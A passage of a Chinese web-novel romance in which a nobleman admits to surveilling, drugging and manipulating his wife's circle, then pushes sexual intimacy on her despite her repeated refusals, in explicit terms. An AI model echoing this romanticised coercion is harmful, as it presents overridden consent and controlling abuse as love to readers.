可她设想了千万种可能,却没有想到沈景湛居然转过头,伸手碰了碰他被打红的面颊,然后再没有理会,反而问她手疼吗? 不知道他葫芦里卖什么药的祝吟鸾,“” 沈景湛看向她的手。 男人的目光幽静,祝吟鸾下意识想要将她的手给藏起来,但男人长臂一伸,捏着她的手腕拉过来看。 她的掌心打得通红,看起来好似肿了一般,祝吟鸾要挣扎,却无法动作,因为他捏着她的手腕,好似抓住了她的七寸,竟叫她根本没有办法动弹。 而沈景湛,就好像是变戏法一般从袖口当中拿出了一罐药膏,给她擦拭手掌。 温凉的药抹上之后,掌心火辣辣的感觉瞬间消失。 上好了药,祝吟鸾又跟他接着吵,“你放开我!” “鸾儿同我生气,也不应该伤了自己,若是还想再打,我给你寻个板子可好?我是皮糙肉厚不怕痛,就怕疼了你的手。” 虽然他很喜欢闻她身上席卷而来的香味,但见她掌心颤抖,也是心痛。 男人的脸上还挂着巴掌印,说出的话却温柔如初。 祝吟鸾却丝毫不为他的贴心所动,“你装了这么久,还没有装够吗?” 她问他究竟还要装到什么时候?她不想陪着他虚与委蛇了。 “不想陪我虚与委蛇,所以鸾儿是烦我了,对吗?”沈景湛语气微凉。 “你厌烦我了,就给我纳个妾室想要搪塞我。” 祝吟鸾此刻不想跟他争辩孟家的事情,本来这些时日已经被沈夫人折腾得够烦了,每日都要笑脸相迎,在孟夫人面前作戏,眼下她的心情非常糟糕。 也不管说了些什么,用力甩开他,“对,我就是烦你了,就是” 要给你纳小房这几个字还没有说出来,就被沈景湛捏着面颊亲堵了回去。 这一次,祝吟鸾尝到的腥味更甚,因为适才她慌不择路咬了他的舌头,居然咬破了。 这会子唇齿交互品味,她自然尝到了男人的鲜血。 沈景湛大力吻着她。 不仅仅是鲜血的味道,还有淡淡的药味弥漫在鼻端,混合着男人身上清冽的气息,祝吟鸾觉得有些许晕。 他掠夺着她口中的芬芳甜软,没有丝毫的退却,总之将她整个人逼至角落,躲无可躲。 静谧的内室没有了争吵的声音之后,接吻声,换气声,此起彼伏,暧昧得让人脸红。 外面守着的小丫鬟听着里面吵一会亲一会的动静,实在是忍不住捏了一把汗。 祝吟鸾挣扎了好一会,她又要打沈景湛,这一次他捏住了她的手腕,只有香味席卷到他的鼻端,她的巴掌没有落下来。 实在不是沈景湛不叫她打,而是她娇滴滴的,不过是多用一点力气,他的脸只是红了而已,她的手掌居然就肿了。 再一巴掌下去,她的两只手只怕都要疼了吧。 “我说了,鸾儿若是还要打我,我叫人给你拿板子来,不必你废手,若是不喜欢板子,还可以用旁的东西,鞭子长剑和铁链,都可以的。” 男人似笑非笑,他的手指顺着她的腕骨往上摩挲,触碰着她的掌心,男人的手指所过之处,令人起颤,甚至发痒。 祝吟鸾反应过来要脱离,他却攥着她的手,与她十指相扣。 看着她被吻肿的红唇,沈景湛的眸色越发晦暗。 “你一直欺负我,就是想要跟我蒙混揭过是不是?”祝吟鸾转移话茬,将事情绕到最开始她找沈景湛要的解释之上。 男人束缚揽抱着她的腰肢,将她困在怀中的姿势未曾改变。 他沉默不语,但压迫感十足,完完全全将她给笼罩。 “我并没有要欺负鸾儿的打算。” 还说没有,他将她强行给拽入怀中,又拉着她的手腕不放,将她整个人强行困在其中,让她进退两难。 面对她的质问,他比她还要委屈的样子,振振有声问她是不是打算给她纳小房。 她不相信,沈景湛能够在她身边安放这么多的眼线,会不清楚沈夫人的打算,不知道她这些时日跟在沈夫人的身边与孟家的往来究竟是个什么意思。 所以呢? 祝吟鸾觉得她说的话沈景湛根本就没有在意,她在意的那些过往他甚至都没有解释。 甚至连话都没有套出来。 越想越生气,偏生她的唇瓣还红肿疼痛,都是因为沈景湛亲她,亲得实在是太用力才叫她如此难受至极。 祝吟鸾觉得她和沈景湛之间黏黏糊糊,根本就不好对峙说话,她再次厉声告诫沈景湛,“你放我下来!” 罕见她凶成这个样子,虽然没有太大的威慑力,但十分稀奇。 让祝吟鸾意外的是,沈景湛这一次放开她了。 他捡起地上掉的鹅绒锦绣软垫塞在她要做的圆凳之上。 男人倾身弯腰下去的时候,祝吟鸾还可以看到她打他的掌印。 沈景湛的肤色冷白,巴掌印没有上药,发酵到了最厉害的时候,此刻比方才看起来还要骇人一些,可他浑然不在意,除此之外,祝吟鸾也看到他薄唇边沿的血迹。 “狼狈”的样子似乎也没有比她好到哪里去,甚至比她还要严重。 可沈景湛历来是个泰山崩于前不改颜色的性子,这点“打击”对他而言算得了什么? 而且,祝吟鸾发现他似乎不仅没有因为她的巴掌而恼怒,反而很愉悦和兴奋。 她没有把他给打生气,亦或者打恼怒,把他给打爽了吗? 否则他的薄唇边为何会隐隐约约泛着笑意。 是的,笑意,祝吟鸾很清楚她根本就没有看错。 沈景湛就是在笑。 真是个疯子!只是她从前根本就不知道他的疯。 他还笑着跟她说,与她提议,让她用鞭子和铁链,长剑,抽他打他杀他,他不是疯了吗? “我不想对鸾儿用.强,只是有些时日没有见你,很想你念你,所以想要同你亲近,可你今日一直对我冷待,我同你说话,你也是爱答不理。” “一时难以控制心绪是因为生气,我不喜欢你帮我张罗什么所谓的妾室通房,除你之外我不要旁人。”他跟她说。 他说话一向是直接的,即便是撕开了温润如玉,清朗无害的面皮,此时此刻的沈景湛也直来直往的,直接到叫她哑然 无声。 祝吟鸾听着他的话着实不知道该回些什么。 因为他的话看似寻常,却让人无端觉得害怕,尤其是沈景湛对着她笑的时候。 他的眸色深沉幽幽,看似散漫却仿佛掌控一切,他也的确是掌控一切。 “你质问我卫家和祝家的事情,我并不认为我做错了。” 他居然跟她说,他没有做错? 祝吟鸾脸上的难言神色越来越明显,他单手撑着头颅,动作慵懒,他看着她,欣赏她的神色,接着道, “鸾儿忘记了,你从前教过我,若要得到什么,需得付以衡心与毅力,我谋算多年,怎么不算是付以衡心和毅力,你看我多听你的话。” 祝吟鸾唇瓣翕动,“我我何时与你说过这些?” 她不认识他,根本没有什么印象,“你说我忘记了很多事情,你没有忘,但谁知道是不是你胡说八道?反正你惯会骗人。” “日后鸾儿若是想起以前的事情,便知道我有没有在骗你了。”他噙着淡淡的笑。 “祝家待你轻薄,卫家待你苛刻,今日的下场都是两家咎由自取,也不能够全算到我的头上吧。” 他说得这么好听,可姣惠还有方种月,还有孩子呢? 祝吟鸾正要质问,沈景湛却已经看穿她内心的想法,与她解释道,“你身边陪嫁的小丫鬟不够用,我便调用一个得力的死士放到你身边,除却监视之外,也是保护你的周全。” 他究竟是怎么大言不惭说出监视两个字的? “我让方种月去到卫家,让她在你耳边说那些,不过就是想给你透透信,洞悉洞悉侯府的内情,毕竟你终究是要嫁过来的。” 什么叫做她终究是要嫁过来的,“分明是你诓我嫁你!” “是吗?”沈景湛挑眉。 “卫如琢贪得无厌,祝沉檀拜高踩低,我不过是让你看清这两人而已,祝家所做的事情是顺势而为,我并没有插手,让祝大人带着祝沉檀去卫家,也没有让卫如琢休弃你。” “鸾儿想说是因为我的算计,才会推波助澜走到那个局面?”祝吟鸾刚要开口反驳,沈景湛看着她的唇瓣,已经知道她要说些什么了。 他接过她未曾脱口而出的话,顺着往下,“从来都不是,即便没有我,卫家和祝家爬到这一步,也还是会这么做,趋利避害,为人之本能。” “至于朱氏去逼迫你,让你走投无路,是我下手狠了一些,但我从来没有想过要伤害你。” 说着说着,他低笑出声,“我真的太了解你了,鸾儿,我知道你不见棺材不掉泪,不撞.硬.墙心不死。” 她对卫如琢是有期待的,是动过心的,所以他不能不这样做。 他的确可以将她强夺过来,不必这样算计,但那样不好,她不会对卫家的死心,若是藕断丝连,是要他的命吗? 只有让她看清楚这个人的本性,她失望透顶了,才会抽身。 “对于子嗣,是我不好,我心胸狭隘无法容人,见不得你与旁人生儿育女,若这个孩子真的生下来,倒也并非养不起。” “爱屋及乌的事情只要能够讨好你的欢心,我可以去做,但是看到和这个孩子,我便会想起你与他有过亲密,嫉妒会焚烧我的内心,所以干脆一了百了。” 沈景湛与她说了许多,而后道,“我知道你心中有怨有恨,要打要骂我绝不会还手,但我不会和离。” 他最后一句话完完全全是堵死了她的后路。 说的时候,抬眸凝视着她,眸中冷厉令人心惊。 半是哄劝半是警告。 祝吟鸾就算是见过风浪,却也被他给吓了一跳。 “对于你腹中的孩儿,也的确是我心思龌龊,我知道若你得知一切必然两袖清风,所以我想凭借子嗣父凭子贵。” 父凭子贵四个字落到祝吟鸾的心头,她的嘴角都忍不住一抽,她已经无法理解沈景湛的思绪究竟是怎么绕的了。 他堂堂天子近臣,侯府世子,竟然说出这样的“女儿话”来。 “前些时日见你呕吐心悸,面色苍白,我心中忧痛,几乎夜不能寐,若我能生,不必如此累你一身,都赖我的不是。” 言及此,他朝着她靠近了一些,长臂伸过来,捏着她的手, “鸾儿” “对不起,是我斯文败类,是我衣冠禽兽,是我枉为人臣,但你念念我想想我吧,我真的只是喜爱你,想要你。” 他抬着她的手,牵引着她的手,触碰他的面颊。 祝吟鸾的掌心上了药,那药极好,此刻已经不疼了。 她的指腹触碰到沈景湛被扇打的面皮,感受到横成在上面的指痕有多么的明显。 她下手的确是重了一些,但都是沈景湛自找的,不要心疼他,祝吟鸾在心中兀自想着,便要收回自己的手。 沈景湛并没有将她的手捏得很用力,所以她很容易就将她的手给收回了。 只是在她抽离的一瞬间,男人脸上的神色变得很落寞,很受伤。 他摆出这副样子给谁看,难不成是她叫他这么做的吗? 必然又是装腔作势,他本来就会骗人。 如今又想摆出这副样子,让她心软。 祝吟鸾撇过脸,“事已至此,我对你无话可说。”绕来绕去,她都累了。 过去的事情她就是要听他亲口承认。 现如今他倒是说了,可她想要知道的部分却还是云里雾里,比如她与他之前究竟发生了什么事情? 眼瞧着沈景湛是不愿意说了,他分明都已经看出来了她想知道,却不提及,她怎么会不明白呢? 祝吟鸾闭眼压下心中的激愤,此刻情绪消退,她觉得又困又累。 实在是没有心情在这里与沈景湛耽误,跟他说些什么了。 她扶着桌沿起身,看都不看他一眼,往外叫明芽,说她要沐浴。 全在外守着待命,竖起耳朵听动静的小丫鬟们即刻起身往里面走。 内室一片寂静,主子们似乎没有谈拢,一时之间小丫鬟们的脚步声都放得特别安静,生怕惊扰了两人。 祝吟鸾起身之后没有再看沈景湛,可他的目光却始终追随着她,看着她的一举一动。 她察觉到了他视线的追随,微微一顿,却没有言语。 背过身就进入了浴房。 在她走了之后,男人脸上的歉意渐渐消退,眸色转回幽暗的深沉,瞧着屏风之后的影子。 神色清冷,一言不发。 “” 祝吟鸾出来的时候,沈景湛已经去旁边的浴房沐浴了。 圆桌之上的香露已经不见了踪影,想来是被他处理了。 姣惠在外面守着不敢随意进来,祝吟鸾由着明芽擦头发,率先上了床榻。 她躺下没有多久,外面传来动静,她听着男人稳健的脚步声,几乎都可以想象他在做些什么。 没一会,脚步声朝着床榻靠近。 幔帐被撩开了,外面的琉璃灯照进来,祝吟鸾闭着眼都能够感受到。 随后身侧一重,男人上了床榻。 第84章 第84章好似打着打着亲了起来? 两人已经有许久不曾躺到一处了。 自从她往奉安公主那边得知沈景湛欺骗她的事情之后,心绪波动厉害,一度闹得身体不适。 她抗拒他,又害怕被他察觉出猫腻,便将他“赶”去了侧室,两人就再也没有同床共枕了。 后来朝廷因为太尉一党的事情屡次起风波,沈景湛忙得脚不沾地,没有回家。 真要细数下来,说实话祝吟鸾都记不得有多久了。 两人上一次的亲密在何时,她也回忆不起来了,最近真的发生了太多的事,适才跟沈景湛吵闹费了不少精神,沐浴净身之后再躺下的她依然觉得难受。 不仅仅是心累,脑子也嗡鸣得十分厉害。 实际 上,适才跟着沈景湛争吵,很多事情都还没有闹明白,现如今冷静下来,她又想到了不少,譬如说他书房之内的银钱与荷包珠坠链子,还有那些画像。 她根本就没有瞧过沈景湛书房里的画像。 是她的吗? 祝吟鸾在想。 很快,她就没有心思想了。 因为沈景湛上榻之后,边朝着里面靠近,似乎撕开了“无害”的表面,他也不在她的面前假装了。 他不像之前那样克己复礼,温润退却,露出他本身的强势专横,霸道偏执。 不顾她身上的僵硬,也没有礼貌问询,直接就从后面环抱住了她。 祝吟鸾手脚挣扎,又被他轻而易举地化解束缚,男人从后面将她抱得严丝合缝。 他的下巴搭在她的肩膀之上,抱到温香软玉之时,发出了满足的喟叹,似大型的狼犬一般蹭了蹭她的侧颈。 他的大掌缠绕她的腰肢,又放到她的小腹之上,隔着薄薄的亵衣抚摸她隆起的小腹。 “似乎明显了一些。” 男人的这句话分明正常,祝吟鸾也不知道为何,她居然平白无故就这么想歪了。 她想到沈景湛的手放到别处,也曾丈量过,他那时候很不确定,问她是不是成长了不少? 祝吟鸾很快回过神来,忍不住在心中厌恶自己,她怎么能顺着他平平无常的一句话,想到那些无比旖丽的亲近呢? 这是什么时候? 说是什么时候,却是夜深人静同床共枕的时候。 若是她没有身孕,沈景湛又要做些什么? 他抱着她,她自然能够感受到他中衣之下硬朗结实,壁垒分明的,温热的身子骨。 祝吟鸾都不知道她是怎么了,难不成沈景湛给她下的香膏欢药,还有不曾除却的遗留吗? 否则她怎么会…… 在闹成这样的情况之下,居然还能够想到那些乱七八糟的亲密。 是因为他抱着她。 他曾经抱着她,从后面欺负她。 那时候,他的双手还在她的.春.软.之上作恶多端,甚至疑惑似的问她,她怎么能够生得那么软?就像是没有骨头一样。 祝吟鸾当时觉得他痴傻,这女子的胸脯怎么可能会长骨头,不都是软的吗? 简直难以想象这是沈景湛说出来的话,但的确就是他说的,且她听到耳朵里,居然还真的相信了,觉得他没有别的心思,只有单纯的疑惑。 现如今回想,那时候他也是装的吧! 就是故意佯装无害,就是哄她,让他觉得他一本正经。 他哪里一本正经?分明是老谋深算,阴险狡猾。 越想越气,祝吟鸾冷静下来的心在这一刻又冒了怒,她挣扎,“我热,你不要抱我。” “是吗?鸾儿真的热,还是抗拒我。” “你都清楚。”她跟他吵闹,不同他和睦。 挣扎之间,两人的衣衫乱了。 她的衣襟露了出来,露出雪白的锁骨,还有圆润的雪软。 沈景湛也是同样的,甚至还要比她更衣衫不整。 既然都闹到这个份上,这里没有小丫鬟们,祝吟鸾也不想跟他虚与委蛇,实在是被他气得恼了,撑着软枕和被褥起身, “你去别的地方歇息,我不要和你一处睡。” 沈景湛好整以暇看着她“张牙舞爪”。 乌发披散,小脸紧皱,毫不掩饰对他的抗拒和讨厌,还有怒火。 见到她脸上的抵抗,他应该恼怒,却又觉得有趣,这要比她整日里死气沉沉的样子好多了。 她从前不会这样,只因为在卫家蹉磨久了,人的性子也渐渐转变为沉闷。 纵然她回到他身边以后,被他以退为进逼出来不少本性,但她在卫家的年月有些长。 但在一时之间,并不好彻底激进,此刻也算是无心插柳柳成荫了吧。 毕竟都敢直接对着他表示不满了,重要的是,她不怕他了。 男人微勾唇角,不发一语。 祝吟鸾看过去,只见他就仿佛一个妖孽般倚在那,似笑非笑看着她,眼角眉梢皆是风流倜傥。 谁说沈景湛清冷难以靠近?祝吟鸾本来很生气,对上他这张脸,发觉气噎住了。 上不去下不来,接着看他的时候,居然发现气在消融。 原因无它,全是因为他的皮相实在太出众旖丽。 他脸上的巴掌印应当是上药了,变淡了许多,即便是变淡了,却也还是横在上面,即便如此,也完全无损他的风华,更叫人觉得心痒,配合着他脸上的笑意,十分勾人。 祝吟鸾都说了一遍,可他还是无动于衷。 既然无法叫他离开,她压下一口气,打算自己离开,却没有想到,方才要起身,沈景湛长腿一伸,拦住了她的去路不说。 更捏着她的手腕,明知故问,“夜深人静,娘子要去哪?” 这似乎是他第一次叫她娘子,往前一直都是鸾儿。 祝吟鸾下定决心不同他说话,不与他搭理,就是要出去。 可是她身上软绵绵的,又要护着肚子。 沈景湛就这么轻轻一拽,她居然没有站稳,跌到他怀中去了。 这一跌入,沈景湛根本就没有打算要将她放开。 他揽着她,抱着她,长腿一越,彻彻底底束缚住她,却没有给她施加力道,将她整个人给包裹住,比起方才还要抱得严实。 祝吟鸾刚要驳斥他,可没想到沈景湛抬着她的下巴,就这么毫无征兆吻了下来,她的声音都被堵了回去。 他捏着她的面颊,祝吟鸾被迫张开了嘴巴,所以方便了他的长驱直入,就这么深吻起来。 祝吟鸾自然是挣扎抗拒。 他不放手,两人在无形之间又这么混乱继续接吻。 她的抗拒挣扎不知怎么回事,竟然诡异被他带成了深吻的回应。 “……” 外面竖起耳朵的小丫鬟们听到了里面的动静,忍不住面面相觑。 本来以为又要闹了,却不想又亲到了一处。 是吧,没听错的话,就是接吻亲密的声音? 祝吟鸾从前就觉得沈景湛在床榻之上的功夫不错,现如今更是身体力行感受到了他引.诱着她,将她拐得找不到北。 她分明是要逼退他的唇舌,却被他勾了过去,到了他的城池之下,就好似她迫不及待,要跟他吻在一处似的。 更过分的事,他在勾起她兴趣之时往外退出,看着她“往前迎合”的动作。 祝吟鸾呆滞了,她的面皮子几乎是在撞入男人含笑眉眼的一瞬间烧得烫红了起来。 她又羞又恼,情急之下又要还击,伸手又要打他。 可快要打过去的时候,祝吟鸾又生生止住,最终没有将巴掌打到沈景湛的脸上,他却笑着把俊脸给伸过来,让她打的意 味不言而喻。 祝吟鸾,“……” 他想挨打,她却不想打了。 她可没有忘记沈景湛被扇打一巴掌之后露出的愉悦神情。 他根本就不疼,无法教训到他,反而令他愉悦,还疼了她的手。 祝吟鸾也不会真的在夜晚往外要东西来收拾沈景湛,沈夫人和沈老太太的耳目都在这边,要了那些“刑具”不知道会闹成什么样子。 祝吟鸾奋力擦嘴,眼睛瞪着他,水眸里面充满了幽怨和愤怒,无比鲜活。 沈景湛看着她的神色,忍不住抬手触摸她的眉眼,“往前只见鸾儿委曲求全,处处忍让,往来迎合。” “合该如同眼下这般,想笑就笑,想骂就骂,想打就打,随性恣意,无需隐忍。” “我喜欢鸾儿这样。” 祝吟鸾本来在气头上,却忍不住因为他这句话而凝涩,“……” 他还在触碰她的眉眼,修长如玉的手上带着红肿的牙印,过她眉眼处时,她的鼻尖也闻到沈景湛手上所带的药味。 祝吟鸾听着他这句话,心里忍不住跳得快了些。 她是触动的。 因为从来没有跟她说,让她随性恣意的活。 在闺中的时候要小心谨慎,出嫁之后更怕行差踏错,嫡母苛责,父亲更是,不仅仅是叫她卑躬屈膝。 还让她能不开口就不开口,免得性子不讨喜,触怒了卫家,届时回来哭,他也不会她做主。 她原以为,这一生就要这样唯唯诺诺过下去了,没想到会和离,遇到沈景湛,后面还发生了这么多的事情。 更没有想到,在沈景湛的口中听到这样的话。 心里虽然淌过异样的暖流,但面上她却还端着绷着。 “我不要听你跟我说这些。”她道谁知道他是真是假,休要花言巧语哄骗她。 “你放开我。”她隔开他的手,背过身去,正打算趁着沈景湛不注意,偷偷下了床榻。 可他就像是看穿了她的心思,长腿阻隔不说,被褥也丢到了空隙处,她哪里还有缝隙可以钻? 这是跑不出去了。 祝吟鸾深叹一口气,待安定好了自己,背过他躺下,不闹了。 因为根本就闹不过沈景湛,所以不需要白费力气。 “……” 见她妥协躺下,男人唇角一勾,从后面抱了上来,这一次,祝吟鸾并没有抗拒,只是闭上了眼睛。 察觉到她的隐忍,男人越发越近。 几乎是吻着她的耳朵与她说话,“我竟让鸾儿如此难以忍受了吗?” 祝吟鸾被他温热的气息席裹,整个人都忍不住颤栗起来,但此刻怎么能够露出怯意? 更不能让沈景湛看出她的颤栗,所以她极度的隐忍。 可祝吟鸾哪里知道,沈景湛先前就百般观察,此刻对她的诸多反应自然是了如指掌。 他知道她心动了,却在刻意隐忍。 “太医说脉象稳定了吗?” 祝吟鸾被他这句话给吓得再次沉不住气,“你想要做什么?” 男人勾唇,“鸾儿以为我要做什么?” “我这些时日一直在吃小姑开的药方,不能……” 曾几何时,她说话居然也如同沈景湛这般口无遮拦了。 她想说不能同房。 但最终什么都没有说,“……” 沈景湛蹭着她的侧脸,令她身上窜起严重的酥麻和痒意。 “你不要这样抱着我,很热。”她又说了一遍。 “我早让人在内室放置了风轮和冰,何况已至冬日,鸾儿真的那么热?” “到底是热,还是不想跟我亲近?” 祝吟鸾原本不想说话,可实在是忍不住了,她冷言相对道,“…你自己心里清楚。” 沈景湛嗯了一声,“我明白你的心里还在责备我。” “也清楚你得知那些事情之后会难以接受,与我疏远,但鸾儿……” “我只问你一句,除却我给卫如琢下药,侧面促使你无法身怀有孕之外,我可曾真的伤害过你?” 沈景湛再一次把祝吟鸾给问住了。 即便她不承认,却也不得不说,沈景湛这话说得不错。 他并没有真的伤害她,甚至如珠如宝般呵护对待。 但祝吟鸾还是没有办法接受她自始至终被蒙在鼓里的事情。 更何况,即便是到了现在,沈景湛依然对她有所隐瞒。 谁知道他背地里留了什么手? 问他却又不肯说。 她一言不发,只在心中如此想着,却不防男人猜透了她的心思,直言道,“我可向鸾儿保证,除你我过往之外,有关祝、卫两家的事情我再没有任何隐瞒了。” “沈家呢?”怀中人冷不迭冒出这一句。 “关于沈家,你就没有什么事情是瞒着我的吗?” 沈景湛起初微怔,但很快便反应过来,“鸾儿问的是二房的事情?” 她不应,算是默认。 “这件事情你不也知道了吗。”他道。 “所以我不问,不知情,你就不打算说了?” 在沈家期间,二房夫人,沈夫人,沈老太太,乃至沈蔻玉,多番打听沈嘉显,可他次次不肯袒露,一直在迂回婉转,若非奉安公主……他是不是就不会说了。 “沈嘉显撞破你我往来,又自作主张自寻死路将事情捅到祖母目前,他既阻我,我自然要铲除。” 铲除? 他怎么能够用这样的字眼,那可是他的族亲手足。 想说沈景湛是不是疯了,可转念一想,他似乎早就疯掉了吧? 从得知一切开始,他在她的眼里已经是个疯子了。 此刻问他是不是疯,不过就是多费口舌而已。 左忍右忍,祝吟鸾还是忍不住来了一句,“他是你的族亲。” “是吗?”沈景湛的这句话叫祝吟鸾听出了另外的意思——那又如何? 是族亲,但那又如何? 她早该料到的,沈家的人不论小辈平辈,亦或者长辈,皆对他又惧又怕,想必早已得知他的本性,只有她傻乎乎蒙在鼓里。 也是,他连夺人妻的事情都可以做得出来,还弄得两家分崩离析,还有什么是不能的。 “我不喜欢在鸾儿口中听到别的男人的名讳,此一遭便罢了。” “况且我对他已然手软,只是遣放到困苦之境历练,不算什么。” 祝吟鸾,“……”他真是站着说话不腰疼。 一想到二房夫人整日里忧心不已,泪流满面,唉声叹气的模样,便可想而知,那沈嘉显去的地方有多么的贫瘠困苦,且不知何时能够回来。 说起来这个,她倒想起来另外一件要紧事情。 当下便道,“奉安公主告知我实情,你可不要对她下手。” “鸾儿如今不仅忧心旁的男子,就连女子你也要顾念着了?” 祝吟鸾这些时日可没少听说奉安公主久窝在太后宫中“闭门不出”“修身养性”的传言。 旁的人以为奉安公主转了性子,但祝吟鸾却很清楚,根本就不是这样,奉安公主就是害怕,躲避沈景湛而已,所以才一直龟缩在太后的宫殿当中不出来。 已经很久了。 虽然她还不清楚奉安公主为何要帮她,但也的确帮她了。 于情于理,也得替她说话。 再者说……即便是祝吟鸾不想承认,但也不得不承认,她不希望沈景湛出事。 :. 他深入朝堂,查办太尉一案,已经被人推到了风尖浪口,若是再跟皇亲国戚给对上,必然会出事。 眼下还在发生争执,她不想低头说软话,免得沈景湛变本加厉,得寸进尺。 于是她这样跟他说道,“奉安公主再怎么都是皇亲国戚,你若 是得罪了她,那我……我怎么办?” 沈景湛八面玲珑,狡猾如狐,怎么会听不出来怀中人话语里的关怀意味。 她对他终归是有情义的。 明白归明白,他却还是在明知故问,“我得罪奉安公主,那也是我的事,与鸾儿什么干系?” 他分明都知道,却还在这里七弯八绕。 “你说呢?” 祝吟鸾抿唇,颇是没好气给他甩了这么一句。 “若我不听鸾儿的劝告,你要如何?” “打我吗?”他问。 祝吟鸾抿着唇瓣,时不时轻咬,思忖着怎么回话,干脆就不理他好了。 可沈景湛却非让她说,甚至还隐隐威胁,若是她不说明白,他怎么会懂? 这时候跟她装什么装? 祝吟鸾不得不开口,“婆母说你我……夫妇一体,你若是被责罚,那我岂不是也得跟着受牵连了?” “鸾儿原来是担心自己。” 男人闷声笑,他的俊脸埋入她长发当中,闻着她乌发中所带的馨香。 祝吟鸾被他低沉的笑声惹得酥痒,总归话已经说到这个份上,她在嘴皮子的功夫上讲不过他,也不打算接着讲了。 沉下愠怒,平心静气就要休息。 可沈景湛却又掐着她的腰肢将她调转过来。 祝吟鸾刚训斥一个你,就被他的吻打断。 这一次他也吻得很深入。 而且他尽挑着她身上无比敏锐的地方亲。 祝吟鸾抗拒着她,但男人的胸膛过于宽阔硬朗,她那点力气根本顶不了什么用,与其说抗拒,不如说是“欲拒还迎”。 她推不动他,于是扑腾她的双手,像猫一样去挠他。 沈景湛没躲,脸和喉骨都挨了许多下。 很快,沈景湛就捏着她的手腕,将她轻巧给束缚住。 祝吟鸾发现她的防备在他的亲吻之下渐渐溃不成军了。 他许久没有亲她碰她,而且她此刻身怀有孕,即便是胎象稳定了,可她还是觉得不应该继续下去。 但她的手和脚都被沈景湛制住了。 此时此刻她扭动身子,想要挣脱,却无济于事,因为沈景湛实在是太了解她的敏感处了。 她的挣扎不仅无济于事,甚至还适得其反,在他的欺负之下,她…渐渐化成了一摊水。 就连出口的声音,都渐渐变成了惑人的嘤咛。 别说沈景湛听了是个什么反应,就连她自己都面红耳赤。 两人在房事之上早有了熟稔的契合。 他勾着她。 祝吟鸾心里抗拒,身子骨却不可控制的诚实起来。 男人伸手一碰,过了一会,他将沾染了晶莹剔透的长指放到她的眼皮子底下,让她看。 “看来,鸾儿也想我了,对吗?” 祝吟鸾的面上满是红潮,滚烫异常,她的气息也不平稳,此刻看到他指尖之上泛着光泽的莹润。 越发觉得无地自容…… 她以前不会这样的。 在对卫如琢失望之后,卫如琢跟她亲近,她无比抗拒,甚至是恶心。 可如今她也对沈景湛的隐瞒失望,却还喜欢跟他一处亲密。 甚至情动得比过往没有怀孕的时候都要快。 这到底是怎么回事? 难不成,是因为沈景湛的皮相出众,亦或者她的身子骨被他给“调”坏了吗?还是因为怀孕的缘故? 自从有孕之后,她的情绪极其容易起伏。 不仅易怒,易低落,甚至还情动得很快。 总之她回避弹压了自己的心意,她否决自己是想要沈景湛,要亲近他。 不是这样。 可她在心里弹压情绪没一会,沈景湛就在她的裙裾之下拿到了罪证,甚至还呈现到了她的眼皮子底下,让她再避无可避。 祝吟鸾撇开眼。 她被控制着,还怎么推开沈景湛的手? 根本没有办法做到。 于是只能窝窝囊囊挪开了她的视线,避而不看,也就能够装作什么都不知道了。 “在宫里的这些时日,我亦思念鸾儿。”他道。 祝吟鸾却在心里乱糟糟的想,他已经说过许多遍了。 可很快,她就没有多余的思绪再腹诽他这句话。 因为危险抵达玉门关。 他问她,“可以吗?” 第85章 第85章沈景湛软磨硬泡得冷脸。 他在这里搅弄风云,将她至于上气不接下气的余地。 却在最后蓄势待发的关头,问她可否? 倘若说不是故意的,祝吟鸾根本就不相信。 更遑论此刻的沈景湛在她的心里完全就是一只老狐狸。 他就是要故意逼迫她,逼着她说话,叫她回应,让她宣泄。 “不要!”祝吟鸾恶狠狠的一声拒绝,但脱口而出之后,发现回的话有些许不对劲,于是她即刻便改了过来,“不可以!” 又是不要,又是不可以,怀里的姑娘凶凶的。 她已经算是使上浑身力气,想要让自己明确拒绝的意味,听起来厉害些许,即便是达不到威慑力十足十,好歹也要起到一个震慑的作用。 但不仅没有起到震慑的作用,甚至还适得其反了。 祝吟鸾根本就瞧不见,此刻的她眸含春水,面色潮红,衣襟散乱,整个人看起来哪里有什么威慑力?在男人看来,宛若一只被人拎住后颈的炸毛小猫,正朝着他龇牙咧嘴的哈气。 可爱的要命。 他忍不住勾唇一笑,吻了下去,亲吻的声音还有些许大,祝吟鸾忍不住呜咽一声,越发可怜巴巴,委委屈屈瞪着他。 气息还没有喘匀,眼尾红红的,睫毛被憋着的泪珠打成一簇一簇。 沈景湛又吻着她的眉眼和鼻尖,男人身上清冽的气息混合着温热,落到她的眉眼之上时,祝吟鸾忍不住颤栗起来。 她的睫毛在抖,不断耸吸着她的鼻尖,就连手指也忍不住攥紧了被褥。 呜呜呜,她心里明确自己就是要反抗的,不想要跟沈景湛亲密,可不知道为何,沈景湛的吻一落下来,她的身体就忍不住了。 她推着沈景湛,注意力被迫放到了他落下的吻上。 却忘记了抵达玉门关之处的危险。 他在无形之间渐渐侵占。 祝吟鸾一开始的确是没有注意到,但是很快她便反应过来了。 也正是因为许久不曾亲近了。 所以沈景湛对她而言,是令人恐惧的。 尤其是炙热在逼近的时刻,祝吟鸾瞬间就反应过来了,她刚要后退,借此拉开两人之间的距离,但狡猾的老狐狸怎么会不曾留有后手呢? 他接着她动心之下产生的温柔,就这么一点点得寸进尺。 祝吟鸾皱眉,自然是不难受的,只是感受到了他的震撼。 更多有关亲密的记忆卷土而来。 尤其是春露汇集成为雨水,促使春山崩塌的一瞬间。 还没有正式的开始,祝吟鸾却已经觉得浑身都有异样的感觉了。 她钻空子得以挣脱束缚的双手在这一刻推举着男人,“你离开我” 她提出了要求。 沈景湛却还在吻着她的眉眼,他的吻密密麻麻落下,这会子周转到了她的耳朵之上。 俯身跟她低语道,“鸾儿的言行推拒着我,可另外一处却啃噬撕咬着我。” “所以究竟是要我离开,还是留下?” 磁沉暗哑的声音钻到了耳朵里面,祝吟鸾推不开他,便只能抬手,一只手捂住了她自己的耳朵,另外一只手捂住了男人的唇。 不叫他亲,也不叫他碰了。 但是效果甚微。 因为沈景湛已经攻入了城池,他凭借着“软磨硬泡”的功夫,正在一点点攻破着玉门关的城门。 饶是祝吟鸾心有成算,这一刻拿着他却也没有任何的办法了。 所以她还要怎么办呢? 她不停的扭动身躯想要借此摆脱,却不想弄巧成拙。 反而拉近了两人之间的距离,反而叫沈景湛越发拢住了,抱住了她。 祝吟鸾的眼角溢出泪,这一次没有再积蓄于眼眶当中,反而是滑落于眼角,陷入她的发梢里。 她太过于紧张了。 沈景湛都被她吻得特别难受,额面上冷汗津津,“…鸾儿,别慌别怕……” 这是她对他的报复吗? 